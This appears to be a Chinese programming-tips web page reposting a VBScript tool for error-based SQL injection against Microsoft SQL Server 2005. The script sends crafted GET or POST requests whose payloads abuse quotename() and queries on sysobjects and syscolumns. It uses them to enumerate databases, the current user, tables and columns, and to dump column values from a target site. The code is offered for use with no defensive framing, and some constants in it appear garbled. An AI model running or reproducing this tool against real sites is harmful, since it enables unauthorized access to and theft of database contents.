位置: 编程技术 - 正文

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

编辑:rootadmin
作者:Tr4c3 '为了保持脚本的通用性,放弃了 and (select col_name(object_id('TableName'),N))=0这样的用法。 '欲返回韩文等字符可修改或者行,更多的设置要自己修改 '更多功能请大家自己加入 Const method = "Get" '提交方式请修改此处,有get和post可选 Const DisPlay = "D" 'S 保存到文件,D输出到屏幕 Dim strUrl_B, strUrl, i, k, MyArray, strArg, strD strUrl_B = " '基于注射点的不确定性,此处请手工更改 i = 1 '库的基数 k = 0 '表和字段的基数 MyArray = Split(strUrl_B, "?", -1, 1) strUrl = MyArray(0) '取url strArg = MyArray(1) '取参数 Set Args = Wscript.Arguments If Args.Count = 0 Then ShowU End If 'If Args.Count =1 And LCase(Args(0)) '************************************************************************ ' 爆库 '************************************************************************ If Args.Count =1 Then If LCase(Trim(Args(0)))="databases" Then ResuT("---------------===============================--------------") ResuT("All The DataBases:") Do strData = " and quotename(db_name("&i&"))=0--" sqlInj(strData) i = i + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit ElseIf LCase(Trim(Args(0)))= "info" then ResuT("---------------===============================--------------") ResuT("The Current Database is:") strData = " and quotename(db_name())=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The database User is:") strData = " and quotename(user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") ResuT("The System_user is:") strData = " and quotename(System_user)=0--" sqlInj(strData) ResuT("---------------===============================--------------") Wscript.Quit End If End If '************************************************************************ ' 爆表 '************************************************************************ If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then ResuT("---------------===============================--------------") ResuT("The Tables Of " & Args(0)) Do strData = " and (select top 1 quotename(name) from "& Args(0) & ".dbo.sysobjects where xtype=char() AND name not in (select top "& k &" name from "&Args(0)&".dbo.sysobjects where xtype=char()))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段 '************************************************************************ If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then Database = Args(0) Table = Args(1) TarGet = DataBase & ".dbo." & Table TarGetCol = Database & ".DBO.SYSCOLUMNS" ResuT("---------------===============================--------------") ResuT("The Columns Of " & TarGet) Do strData = " and (select top 1 Quotename(name) from "& TarGetCol &" where id=object_id('"& TarGet &"') and name not in (select top "&k&" name from "& TarGetCol &" where id=object_id('"& TarGet &"')))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If '************************************************************************ ' 爆字段值 '************************************************************************ If Args.Count=4 And LCase(Trim(Args(3)))="values" Then Database = Args(0) Table = Args(1) col = Args(2) Target = Database & ".dbo." & Table ResuT("---------------===============================--------------") ResuT("The Values Of " & Args(2) & " in "&Target) Do strData = " and (select top 1 quotename("& col &") from "& Target & " where "& col &" not in (select top "& k &" "& col &" from "& Target &"))=0--" sqlInj(strData) k = k + 1 Loop Until StrD="" ResuT("---------------===============================--------------") Wscript.Quit End If Sub SqlInj(value) If UCase(method) = "GET" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "GET", strUrl &"?" & value , False objXML.SetRequestHeader "Referer", strUrl 'objXML.SetRequestHeader "Accept-Language", "EUC-KR" objXML.send() strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If ElseIf UCase(method) = "POST" Then value = strArg & value Set objXML = CreateObject("Microsoft.XMLHTTP") objXML.Open "POST", strUrl, False objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded" objXML.SetRequestHeader "Referer", strUrl objXML.send(UrlEncode(value)) strRevS = objXML.ResponseText '默认用这个 'strRevS = bytes2BSTR(objXML.ResponseBody) '韩文有时候要用这个 If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2) ResuT(" |_"&strD) Else strD = "" End If End If End Sub Function ResuT(strInfo) If UCase(DisPlay) = "S" Then Set fso = CreateObject("Scripting.FileSystemObject") Set fso1 = fso.OpenTextFile("result.txt",8,True) fso1.WriteLine(strInfo) fso1.Close Set fso = Nothing ElseIf UCase(DisPlay) = "D" Then Wscript.Echo(strInfo) End If End Function Function UrlEncode(str) str = Replace(str," ","+") UrlEncode = str End Function Function bytes2BSTR(vIn) strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function Sub showU() With Wscript .Echo("+--------------------------=====================------------------------------+") .Echo("Sql注射辅助脚本(粗糙版),用于mssql显错模式 By Tr4c3[at][Dot]com") .Echo("Usage:") .Echo(" cscript"&.ScriptName&" info--爆基本信息") .Echo(" cscript"&.ScriptName&" databases--爆所有库名") .Echo(" cscript"&.ScriptName&" pubs tables--爆库pubs里所有用户表名") .Echo(" cscript"&.ScriptName&" pubs authors cols--爆库pubs里authors表的所有字段名") .Echo(" cscript"&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值") .Echo("+--------------------------=====================------------------------------+") .Quit End with End Sub

推荐整理分享Sql2005注射辅助脚本[粗糙版](sql注入攻击代码),希望有所帮助,仅作参考,欢迎阅读内容。

Sql2005注射辅助脚本[粗糙版](sql注入攻击代码)

文章相关热门搜索词:sql注入神器,sql注入的辅助工具,sql 注入工具,sql注入修复方式,sql注入修补方法,sql注入修补方法,sql注入脚本编写,sql 注入工具,内容如对您有帮助,希望把文章链接给更多的朋友!

sql 不允许进行远程连接可能会导致此失败的解决方法 (provider:命名管道提供程序,error:-无法打开到SQLServer的连接)网站的数据库连接语句为:Server=.0.0.1;uid=sa;pwd=xxx;database=xxx经测试把server=.0.0.1改为server=.

MSSQL数据库备份导入MSSQL 转到的步骤1.生成for版本的数据库脚本的mangerstudio--打开"对象资源管理器"(没有的话按F8),连接到你的实例--右键要转到的库--任务--生成脚

MS-sql 拒绝了对对象 'xxx' (数据库 'xxx',架构 'dbo')的 SELECT 权限的解决方法 问题:Sqlserver默认设置下不允许远程登陆1外围设置tcp/ip和namedpipe同时启用2服务器--〉属性--〉安全性--〉sqlserver和windows认证模式问题:拒绝了对对象'xx

标签: sql注入攻击代码

本文链接地址:https://www.jiuchutong.com/biancheng/319242.html 转载请保留说明!

上一篇:SQL Server 2005恢复数据库详细图文教程(sql server怎么恢复)

下一篇:sql 2005不允许进行远程连接可能会导致此失败的解决方法(不能防止sql注入)

  • 装卸费属于什么费用
  • 动产租赁适用税率
  • 升级10万元版发票有什么要求
  • 小规模销售收入免税会计分录
  • 个人销售货物缴增值税吗
  • 公司电视机 摊销多少年
  • 行政单位的财务报告包括财务报表和财务情况说明书
  • 社保基数与工资不符
  • 房地产开发企业土地增值税清算
  • 证券准备包括什么
  • 地下车位未使用 要交物业服务费
  • 印花税的计税依据怎么算公式
  • 企业去年
  • 免税农产品的范围有哪些
  • 外协加工费会计分录
  • 营业收入包括的项目有
  • 企业识别码怎么查询
  • 专项应付款转资本公积需要什么附件
  • 减免税款未抵扣增值税
  • 收到商品预付款怎么做分录
  • 员工宿舍水电费计入什么会计科目
  • 债券的到期收益率取决于
  • 收回财政结余资金账务处理
  • 苹果mac os 10.4
  • 工程完工结转成本怎么算
  • 进口增值税的账务处理
  • 保险储金是什么意思
  • 发票已开不符合收入确认条件账务处理怎么做?
  • 破产企业发放工资怎么算
  • 资产负债表的资产方能够提供的信息包括
  • 支付境外佣金交多少税
  • ab计数器指令程序
  • php字符串转换
  • 目标检测 2021
  • 金税盘全额抵扣分录
  • 不动产物权归属和内容的根据是什么?
  • 销售产品用什么词形容
  • 母公司资产包括子公司吗
  • phpcms二次开发教程
  • 红冲上月发票都附什么附件
  • 个人所得税征税对象是什么
  • 再保后赔款支出
  • 借款利息税前扣除应当注意的三个问题
  • 坏账准备的核销的分录怎么做
  • 有留抵税额可以红冲吗
  • 融资租赁资产承租人的账务处理
  • 过路费属于会计哪个科目
  • 农民专业合作社属于什么经济类型
  • 回购股票会导致所有者权益减少吗
  • 工资是先做后拿还是先拿后做
  • 什么是当期损益和其他综合收益
  • sql查询结果数量
  • mysql中的触发器
  • linux服务器查找文件命令
  • win10右键菜单自定义
  • 苹果mac怎么下载淘宝
  • linux系统安装yum
  • 怎么用手机号查快递
  • windows8.
  • mac book丢失
  • securecrt keymap
  • cocos2dx环境搭建
  • 铁嘴下山全文免费阅读
  • textview在哪
  • 自动清除数据
  • android GridView实现图库预览图,多选模式下右上角打勾
  • js模块化开发教程
  • 使用chrome浏览器打开
  • nodejs实现微信公众号发红包
  • android gradle task dependence
  • 新浪微博模仿推特
  • 简述shell命令提示符的组成
  • 不同版本安卓控制台区别
  • android(8) ViewPager页面滑动切换
  • 原生js常用的方法
  • 税控发票开票软件金税盘版口令怎么解锁?
  • 安徽省各地区最低录取中考分数线
  • 税务局组织收入存在的问题
  • 贵州国家税务局陈开平
  • 开票系统ukey抄报税
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设